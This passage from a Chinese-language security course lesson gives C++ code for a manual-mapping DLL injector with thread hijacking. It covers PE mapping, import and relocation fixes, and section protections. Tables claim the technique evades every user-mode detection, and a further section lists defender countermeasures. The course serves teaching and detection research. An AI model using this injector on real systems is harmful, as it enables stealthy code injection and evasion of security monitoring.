// 目标地址:内存镜像基址 + 节的VirtualAddress
LPVOID pDest = (BYTE*)pMemoryImage + pSection[i].VirtualAddress;
// 源地址:文件基址 + 节的PointerToRawData
LPVOID pSrc = (BYTE*)pFileBase + pSection[i].PointerToRawData;
// 复制大小:取 min(SizeOfRawData, VirtualSize)
// 原因:文件对齐(0x200)和内存对齐(0x1000)不同,SizeOfRawData 可能 > VirtualSize
// 例如:.text节 VirtualSize=0x1CC2, SizeOfRawData=0x1E00(向上对齐到512倍数)
DWORD copySize = min(pSection[i].SizeOfRawData, pSection[i].Misc.VirtualSize);
if (copySize > 0)
{
memcpy(pDest, pSrc, copySize);
}
// 处理.bss节:VirtualSize > copySize的部分用0填充
// 例如:.data节中的未初始化全局变量
if (pSection[i].Misc.VirtualSize > copySize)
{
DWORD bssSize = pSection[i].Misc.VirtualSize - copySize;
memset((BYTE*)pDest + copySize, 0, bssSize);
}
// 输出节信息(Name字段不保证null结尾,需要安全处理)
char sectionName[9] = {0};
memcpy(sectionName, pSection[i].Name, 8);
std::cout << " 映射节区: " << sectionName;
for (int j = 0; j < 8 - strlen(sectionName); j++)
{
std::cout << " ";
}
std::cout << " VirtualAddress=0x" << std::hex << pSection[i].VirtualAddress;
std::cout << " VirtualSize=" << std::dec << pSection[i].Misc.VirtualSize;
std::cout << " (复制了 " << copySize << " 字节)\n";
}
// 返回结果
if (pImageSize)
{
*pImageSize = imageSize;
}
return pMemoryImage;
}
/**
* @brief 获取目标进程中指定模块的基址
* @param dwProcessId 目标进程ID
* @param moduleName 模块名称(不区分大小写,如"kernel32.dll")
* @return 成功返回模块基址,失败返回NULL
* @details 使用Toolhelp32枚举目标进程的模块列表,解决跨进程ASLR问题
*/
HMODULE GetRemoteModuleHandle(DWORD dwProcessId, const char* moduleName)
{
// 创建模块快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, dwProcessId);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return NULL;
}
// 将ANSI字符串转换为宽字符
WCHAR wModuleName[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, moduleName, -1, wModuleName, MAX_PATH);
// 遍历模块列表
MODULEENTRY32 me32;
me32.dwSize = sizeof(MODULEENTRY32);
if (Module32First(hSnapshot, &me32))
{
do
{
// 不区分大小写比较模块名(宽字符版本)
if (_wcsicmp(me32.szModule, wModuleName) == 0)
{
CloseHandle(hSnapshot);
return me32.hModule;
}
} while (Module32Next(hSnapshot, &me32));
}
CloseHandle(hSnapshot);
return NULL;
}
/**
* @brief 修复导入地址表(IAT)
*
* 【为什么需要修复】
* DLL中的导入函数(如kernel32.LoadLibraryA)只有名字,没有地址。
* 正常加载时,Windows加载器会填充这些地址。
* 手工映射必须自己模拟这个过程。
*
* 【类比】
* - 导入表 = 通讯录(只有姓名,没有电话号码)
* - IAT修复 = 查电话簿,填上号码
* - GetProcAddress = 电话簿查询工具
*
* 【核心数据结构】
* IMAGE_IMPORT_DESCRIPTOR (导入描述符,每个依赖DLL一个)
* ├─ Name: "KERNEL32.dll" (依赖的DLL名)
* ├─ OriginalFirstThunk: INT地址(导入名称表)
* └─ FirstThunk: IAT地址(需要填充函数地址)
*
* IMAGE_THUNK_DATA (导入项,每个函数一个)
* ├─ 方式1: 按序号导入(高位为1) → GetProcAddress(hDll, (LPCSTR)123)
* └─ 方式2: 按名称导入 → GetProcAddress(hDll, "LoadLibraryA")
*
* 【ASLR修复】
* 本实现正确处理跨进程ASLR:
* 1. 在本地进程加载DLL,获取函数相对偏移
* 2. 枚举目标进程模块,获取DLL在目标进程的真实基址
* 3. 计算公式: 目标函数地址 = 目标DLL基址 + (本地函数地址 - 本地DLL基址)
*
* @param pMemoryImage 内存镜像基址
* @param pRemoteBase 远程基址(本函数未使用,但接口保留)
* @param dwProcessId 目标进程ID
* @return 成功返回TRUE,失败返回FALSE
*/
BOOL FixImportTable(LPVOID pMemoryImage, LPVOID pRemoteBase, DWORD dwProcessId)
{
// 获取PE头信息
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMemoryImage;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);
// 获取导入表RVA
DWORD importRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (importRVA == 0)
{
std::cout << " 无导入表,跳过修复\n";
return TRUE;
}
// 遍历导入描述符数组(以全0描述符结尾)
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)pMemoryImage + importRVA);
while (pImportDesc->Name)
{
// 获取依赖DLL名称
char* dllName = (char*)((BYTE*)pMemoryImage + pImportDesc->Name);
std::cout << " 修复导入DLL: " << dllName << "\n";
// 在当前进程中加载依赖DLL
HMODULE hLocalModule = LoadLibraryA(dllName);
if (!hLocalModule)
{
std::cout << " 错误:无法加载 " << dllName << "\n";
pImportDesc++;
continue;
}
// OriginalFirstThunk → INT(导入名称表) - 保存函数名/序号
// FirstThunk → IAT(导入地址表) - 需要填充函数地址
PIMAGE_THUNK_DATA pOriginalThunk = (PIMAGE_THUNK_DATA)((BYTE*)pMemoryImage + pImportDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)pMemoryImage + pImportDesc->FirstThunk);
// 遍历该DLL的所有导入函数(以0结尾)
int functionCount = 0;
while (pOriginalThunk->u1.AddressOfData)
{
LPVOID pLocalFunc = NULL;
char functionName[256] = {0};
// 判断导入方式:按序号 or 按名称
if (pOriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// 方式1:按序号导入(高位为1)
WORD ordinal = IMAGE_ORDINAL(pOriginalThunk->u1.Ordinal);
pLocalFunc = GetProcAddress(hLocalModule, (LPCSTR)ordinal);
sprintf_s(functionName, "序号#%d", ordinal);
}
else
{
// 方式2:按名称导入
PIMAGE_IMPORT_BY_NAME pImportName = (PIMAGE_IMPORT_BY_NAME)((BYTE*)pMemoryImage + pOriginalThunk->u1.AddressOfData);
pLocalFunc = GetProcAddress(hLocalModule, pImportName->Name);
strcpy_s(functionName, pImportName->Name);
}
// 计算跨进程地址: 目标函数地址 = 目标DLL基址 + (本地函数地址 - 本地DLL基址)
if (pLocalFunc)
{
ULONGLONG remoteFunc = 0;
// 获取目标进程中的DLL基址(用于跨进程ASLR修复)
HMODULE hRemoteModule = GetRemoteModuleHandle(dwProcessId, dllName);
if (!hRemoteModule)
{
// 如果无法获取远程模块基址,使用本地基址作为降级方案
hRemoteModule = hLocalModule;
}
// 获取本地DLL的模块大小(用于边界检查)
MODULEINFO moduleInfo = {0};
if (GetModuleInformation(GetCurrentProcess(), hLocalModule, &moduleInfo, sizeof(moduleInfo)))
{
ULONGLONG localModuleEnd = (ULONGLONG)moduleInfo.lpBaseOfDll + moduleInfo.SizeOfImage;
// 检查函数地址是否在模块范围内(检测转发导出)
if ((ULONGLONG)pLocalFunc < (ULONGLONG)hLocalModule || (ULONGLONG)pLocalFunc >= localModuleEnd)
{
// 转发导出:直接使用GetProcAddress返回的地址
remoteFunc = (ULONGLONG)pLocalFunc;
}
else
{
// 正常情况:函数在模块内,使用偏移计算
ULONGLONG offset = (ULONGLONG)pLocalFunc - (ULONGLONG)hLocalModule;
remoteFunc = (ULONGLONG)hRemoteModule + offset;
}
}
else
{
// 获取模块信息失败,直接使用偏移计算
ULONGLONG offset = (ULONGLONG)pLocalFunc - (ULONGLONG)hLocalModule;
remoteFunc = (ULONGLONG)hRemoteModule + offset;
}
pThunk->u1.Function = remoteFunc;
}
else
{
FreeLibrary(hLocalModule);
return FALSE;
}
functionCount++;
pOriginalThunk++;
pThunk++;
}
std::cout << " 修复了 " << std::dec << functionCount << " 个函数\n";
FreeLibrary(hLocalModule);
pImportDesc++;
}
return TRUE;
}
/**
* @brief 处理基址重定位
*
* 【为什么需要重定位】
* 编译器生成DLL时,会假设它加载到某个固定地址(ImageBase)。
* 代码中的绝对地址都是基于这个假设编译的。
* 如果实际加载地址不同,这些地址就全错了,必须修正。
*
* 【类比】
* - ImageBase = 公司原定地址"中关村100号"
* - 实际加载地址 = 公司实际搬到"望京200号"
* - 重定位 = 把所有文件中的"中关村100号"改成"望京200号"
*
* 【重定位公式】
* 新地址 = 旧地址 + (实际基址 - 编译时基址)
* 即: 新地址 = 旧地址 + delta
*
* 【重定位表结构】
* IMAGE_BASE_RELOCATION (重定位块,按4KB页分组)
* ├─ VirtualAddress: 这一块重定位的页基址
* ├─ SizeOfBlock: 这个块的总大小
* └─ 重定位项数组(每项2字节):
* 高4位 = 重定位类型(DIR64/HIGHLOW/ABSOLUTE)
* 低12位 = 页内偏移(0-4095)
*
* @param pMemoryImage 内存镜像基址
* @param pRemoteBase 远程基址(实际加载地址)
* @return 成功返回TRUE,失败返回FALSE
*/
BOOL ProcessRelocation(LPVOID pMemoryImage, LPVOID pRemoteBase)
{
// 获取PE头信息
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMemoryImage;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);
// 计算基址差(delta)
ULONGLONG originalBase = pNtHeaders->OptionalHeader.ImageBase;
ULONGLONG newBase = (ULONGLONG)pRemoteBase;
LONGLONG delta = newBase - originalBase;
// 如果加载到首选基址,无需重定位
if (delta == 0)
{
std::cout << " 加载到首选基址,无需重定位\n";
return TRUE;
}
// 获取重定位表
DWORD relocRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD relocSize = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (relocRVA == 0 || relocSize == 0)
{
std::cout << " 无重定位表,跳过重定位\n";
return TRUE;
}
// 遍历所有重定位块
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pMemoryImage + relocRVA);
int relocBlockCount = 0;
int relocEntryCount = 0;
while (pReloc->VirtualAddress && ((BYTE*)pReloc < (BYTE*)pMemoryImage + relocRVA + relocSize))
{
// 计算当前块包含多少个重定位项
// 公式: (块大小 - 块头大小) / 每项大小(2字节)
DWORD numEntries = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD pRelocData = (PWORD)((BYTE*)pReloc + sizeof(IMAGE_BASE_RELOCATION));
// 遍历当前块的所有重定位项
for (DWORD i = 0; i < numEntries; i++)
{
// 解析重定位项(2字节):
// 高4位 = 重定位类型
// 低12位 = 页内偏移
WORD relocType = pRelocData[i] >> 12;
WORD offset = pRelocData[i] & 0x0FFF;
if (relocType == IMAGE_REL_BASED_DIR64)
{
// x64重定位:修改8字节绝对地址
ULONGLONG* pPatchAddr = (ULONGLONG*)((BYTE*)pMemoryImage + pReloc->VirtualAddress + offset);
*pPatchAddr += delta;
relocEntryCount++;
}
else if (relocType == IMAGE_REL_BASED_HIGHLOW)
{
// x86重定位:修改4字节绝对地址
DWORD* pPatchAddr = (DWORD*)((BYTE*)pMemoryImage + pReloc->VirtualAddress + offset);
*pPatchAddr += (DWORD)delta;
relocEntryCount++;
}
// IMAGE_REL_BASED_ABSOLUTE (0) 是填充项,跳过
}
relocBlockCount++;
// 移动到下一个重定位块
pReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pReloc + pReloc->SizeOfBlock);
}
// 输出统计信息
std::cout << " 重定位块数量: " << std::dec << relocBlockCount << "\n";
std::cout << " 重定位项数量: " << std::dec << relocEntryCount << "\n";
return TRUE;
}
/**
* @brief 设置节区保护
* @param hProcess 目标进程句柄
* @param pRemoteBase 远程基址
* @param pMemoryImage 内存镜像基址
* @return 成功返回TRUE,失败返回FALSE
* @details 根据节区属性设置内存保护(.text=RX, .data=RW)
*/
BOOL SetSectionProtections(HANDLE hProcess, LPVOID pRemoteBase, LPVOID pMemoryImage)
{
// 获取PE头信息
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMemoryImage;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
// 遍历所有节区
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
// 根据节区特征确定保护属性
DWORD protect = PAGE_READONLY;
if (pSection[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
{
protect = (pSection[i].Characteristics & IMAGE_SCN_MEM_WRITE) ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
}
else if (pSection[i].Characteristics & IMAGE_SCN_MEM_WRITE)
{
protect = PAGE_READWRITE;
}
// 设置节区保护
LPVOID pSectionAddr = (BYTE*)pRemoteBase + pSection[i].VirtualAddress;
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, pSectionAddr, pSection[i].Misc.VirtualSize, protect, &oldProtect))
{
std::cout << " 警告:节区 " << (char*)pSection[i].Name << " 保护设置失败\n";
}
else
{
std::cout << " 节区 " << (char*)pSection[i].Name << " 保护已设置\n";
}
}
return TRUE;
}
// ========== main函数 ==========
int main()
{
// 输出程序信息
std::cout << "=== 09-攻击篇-手工映射注入(线程劫持版) ===\n";
std::cout << "技术难度:★★★★★(本系列课程最高难度)\n\n";
std::cout << "【核心技术】\n";
std::cout << "1. RVA → 文件偏移转换(解决VirtualAddress ≠ PointerToRawData)\n";
std::cout << "2. 本地内存镜像构建(min(SizeOfRawData, VirtualSize)修复致命bug)\n";
std::cout << "3. IAT修复在内存镜像完成(统一写入)\n";
std::cout << "4. 重定位在内存镜像完成(统一写入)\n";
std::cout << "5. 线程劫持执行(SetThreadContext,立即执行)\n";
std::cout << "6. 节区保护设置(.text=RX, .data=RW)\n";
std::cout << "7. 体系结构检查(x86/x64匹配)\n\n";
std::cout << "警告:本程序仅供防御性安全研究与教学使用\n";
std::cout << " 严禁用于未授权的系统测试或恶意目的\n\n";
// 获取目标进程PID
DWORD targetPid = 0;
std::cout << "请输入目标进程 PID: ";
std::cin >> targetPid;
if (targetPid == 0)
{
std::cout << "无效的PID\n";
system("pause");
return 1;
}
// 设置DLL路径并执行注入
const char* dllPath = "C:\\Injection.dll";
std::cout << "\nDLL路径: " << dllPath << "\n";
std::cout << "(可修改源码中的dllPath变量指定其他DLL)\n";
InjectDllWithManualMapping(targetPid, dllPath);
system("pause");
return 0;
}
验证效果
对比所有防御工具
|
防御工具 497_707bdf-76> |
检测原理 497_081592-29> |
预期结果 497_1d5724-0a> |
实际结果 497_463902-7a> |
|---|---|---|---|
|
01-线程起始地址检测 497_1c2da1-13> |
检查线程起始地址是否在模块内 497_b2eb7f-be> |
应该检测 497_ece7fe-7e> |
❌ 未检测到(用线程劫持) 497_c52907-05> |
|
03-ETW线程创建监听 497_a1c5ec-d5> |
监听线程创建事件 497_395e9d-2e> |
应该检测 497_466c4f-ca> |
❌ 无事件(没有创建新线程) 497_22cac0-de> |
|
05-模块枚举检测 497_01788c-a8> |
EnumProcessModules枚举 497_a6f2da-f5> |
应该检测 497_ae221f-57> |
❌ 未枚举到(不注册PEB) 497_727c51-28> |
|
07-LDR断链检测 497_b1a6c9-49> |
检查LDR链表完整性 497_773da6-0d> |
应该检测 497_f66c93-ae> |
❌ 无异常(从未在链表中) 497_9a84a8-8f> |
|
08-内存映射检测 497_cb3424-bc> |
检查内存映射文件 497_d99ded-7b> |
应该检测 497_278fec-cb> |
❌ 显示正常(不是文件映射) 497_43db52-c8> |
结论:手工映射 + 线程劫持 = 完全绕过所有用户态检测
验证DllMain执行
在测试DLL的DllMain中添加:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
MessageBoxA(NULL, "DllMain executed!", "Manual Mapping Success", MB_OK);
}
return TRUE;
}如果注入成功,会弹出消息框。
完整执行流程
┌─────────────────────────────────────────────────────────────┐
│ 手工映射注入完整流程(12步) │
├─────────────────────────────────────────────────────────────┤
│ │
│ [1/12] 打开目标进程 OpenProcess │
│ ↓ │
│ [2/12] 读取PE文件 ReadPEFile │
│ ↓ │
│ [3/12] 检查体系结构 IsWow64Process │
│ ↓ │
│ [4/12] 构建内存镜像 BuildMemoryImage │
│ ↓ │
│ [5/12] 分配远程内存 VirtualAllocEx │
│ ↓ │
│ [6/12] 修复导入表 FixImportTable │
│ ↓ │
│ [7/12] 处理重定位 ProcessRelocation │
│ ↓ │
│ [8/12] 写入内存镜像 WriteProcessMemory │
│ ↓ │
│ [9/12] 设置节区保护 SetSectionProtections │
│ ↓ │
│ [10/12] 准备stub VirtualAllocEx + Write │
│ ↓ │
│ [11/12] 劫持线程 Suspend/Get/Set/Resume │
│ ↓ │
│ [12/12] 完成注入 DllMain已执行 │
│ │
└─────────────────────────────────────────────────────────────┘
优势与局限
优势
- 最高隐蔽性:完全绕过所有用户态检测
- 不创建新线程:ETW监控失效
- 不注册PEB:模块枚举失效
- 不创建文件映射:内存映射检测失效
- 立即执行:不需要等待Alertable状态
局限
实现复杂度极高
- 需要深入理解PE格式
- RVA转换、IAT修复、重定位每一步都可能出错
- 一个细节错误就会导致目标进程崩溃
兼容性问题
- 不支持TLS回调(需要额外实现)
- 不支持延迟加载导入(需要Hook相关API)
- 某些依赖特殊状态的DLL可能加载失败
仍可被内核态检测
- 内核驱动可以拦截
VirtualAllocEx - EDR可以检测异常的RWX内存区域
- 某些杀软会扫描内存中的PE特征
- 内核驱动可以拦截
依然需要其他技术配合
- 仍然需要获取目标进程句柄
- 仍然需要写入权限
防御者的反制手段
既然攻击者已经使用了最高级的隐蔽技术,防御者该怎么办?
| 检测方法 | 原理 | 难度 |
|---|---|---|
| 扫描匿名RWX内存 | 手工映射必须分配可执行内存 | 中 |
| 内存PE特征扫描 | 搜索”MZ”、”PE”签名 | 中 |
| 线程上下文监控 | 检测RIP是否在合法模块范围 | 高 |
| 内核态回调 | 拦截内存分配和线程操作 | 高 |
本节小结
我们完成了什么
|
步骤 497_c145f4-e3> |
内容 497_f8eea3-5e> |
关键API 497_632a9f-46> |
|---|---|---|
|
1 497_44f0df-57> |
准备DllMain参数 497_143544-f2> |
|
|
2 497_4c67c2-fb> |
枚举目标进程线程 497_d2476c-2e> |
|
|
3 497_490d60-a6> |
暂停线程 497_43c772-30> |
|
|
4 497_9bc00c-6f> |
获取/修改上下文 497_d894ec-57> |
|
|
5 497_85fd96-02> |
恢复线程执行 497_315208-2c> |
|
核心知识点回顾
- 线程上下文:CONTEXT结构体,包含所有寄存器状态
- RIP寄存器:指向线程下一条要执行的指令
- x64调用约定:RCX、RDX、R8、R9传递前4个参数
- Shellcode stub:保存状态 → 调用DllMain → 恢复状态 → 跳回
系列总结
通过3节课,我们完整实现了手工映射注入:
|
课程 497_6879ac-2b> |
内容 497_4a0095-e0> |
核心技术 497_69caf0-cd> |
|---|---|---|
|
09课(上) 497_36c7b6-98> |
PE解析与内存镜像 497_4c19a4-d2> |
PE结构、RVA转换、重定位 497_da7863-18> |
|
10课(中) 497_f1c76e-85> |
导入表修复与远程写入 497_db5b9f-e0> |
IAT、ASLR、段保护 497_4f7666-75> |
|
11课(下) 497_294a2f-60> |
线程劫持触发DllMain 497_3a82e8-20> |
CONTEXT、stub、SetThreadContext 497_bb79c2-c3> |
这是本系列课程技术难度最高的攻击技术(★★★★★)
课后作业
本节课我们用线程劫持触发了 DllMain,但这不是唯一的方法。
作业:尝试用以下两种方式替换线程劫持,触发手工映射 DLL 的 DllMain:
|
方式 497_cf0103-60> |
提示 497_5fb89f-8b> |
参考课程 497_b0a9f5-f8> |
|---|---|---|
|
CreateRemoteThread 497_808dde-fc> |
直接创建远程线程,起始地址指向 DllMain 497_21b9fb-fa> |
基础注入课程 497_01dc34-bd> |
|
APC 注入 497_4a473c-87> |
用 |
04-攻击篇 497_fe5192-ce> |
思考题:
- 用
CreateRemoteThread触发 DllMain,会被哪些检测工具发现? - 用 APC 注入触发 DllMain,有什么限制条件?
- 三种触发方式(远程线程、APC、线程劫持),哪种隐蔽性最高?为什么?
推荐阅读:
